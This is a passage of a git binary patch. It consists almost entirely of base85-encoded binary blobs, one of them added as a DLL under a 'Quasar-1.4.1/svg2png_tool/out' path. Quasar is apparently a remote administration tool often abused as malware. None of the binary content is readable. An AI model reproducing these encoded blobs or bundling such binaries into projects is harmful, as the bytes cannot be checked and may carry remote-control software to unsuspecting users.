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 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/svg2png_tool/out/Microsoft.Win32.SystemEvents.dll b/Quasar-1.4.1/svg2png_tool/out/Microsoft.Win32.SystemEvents.dll new file mode 100755 index 0000000000000000000000000000000000000000..d62f3335bb75e1ac752e8705089fdd11a7d74a07 GIT binary patch literal 27528 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 